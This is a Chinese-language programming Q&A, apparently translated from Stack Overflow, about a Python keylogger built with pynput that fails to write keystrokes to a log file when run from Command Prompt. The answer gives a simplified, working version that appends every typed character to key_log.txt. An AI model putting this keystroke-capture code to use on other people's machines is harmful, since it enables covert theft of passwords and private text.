运行 Python 个文件在命令提示符下部分工作?

Running Python files partially working in Command Prompt?

我正在尝试 运行 命令提示符中的按键记录程序

所有的打印功能都工作正常,但实际上不会将它们存储在我的 txt 文件中。

但真正让我感到困惑的是,每当我在 IDE、Pycharm 中 运行 它时,它都能正常工作。

这是我的代码:

 from pynput.keyboard import Key, Listener

 count = 1
 keys = []

def on_press(key):
     global keys, count

if key != "Key.shift pressed":
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

if count >= 1:
    count = 0
    write_file(keys)
    keys = []

 def write_file(keys):
     with open("key_log.txt", "a") as f:
         for key in keys:
             k = str(keys).replace("'", "")
             if k.find("space") > 0:
                 f.write('\n')
             elif k.find("Key") == -1:
                 f.write(k)
 def on_release(key):
     if key==Key.esc:
         return False



 with Listener(on_press=on_press, on_release=on_release) as listener:
     listener.join()

您的想法是正确的,但您不需要将所有的按键操作都收集到一个列表中。此外,您正在遍历列表,然后将列表视为一个大字符串。因此,您无需执行任何操作。

我建议将您的代码简化为更像这样的代码:

from pynput.keyboard import Key, Listener
import sys

def on_press(key):
    print("{0} pressed".format(key))
    write_file(key)

def write_file(key):
    with open("key_log.txt", "a") as f:
        if hasattr(key, "char"):
            f.write('{0}'.format(key.char))
        elif key == Key.enter:
            f.write("\n")
        elif key == Key.space:
            f.write(" ")

with Listener(on_press=on_press, on_release=None) as listener:
    try:
        listener.join()
    except:
        with open("key_log.txt", "a") as f:
            f.write("\n")
        sys.exit()

在我的代码版本中,您记录了在 python 控制台中按下的键,然后将该键传递给 write_file 函数。从那里,该函数打开 key_log.txt 文件并检查是否向文件中写入任何内容。如果是则写入字符,如果不是则关闭文件

如果要停止进程,请键入 ctrl + C 以引发 KeyboardInterrupt 以停止进程。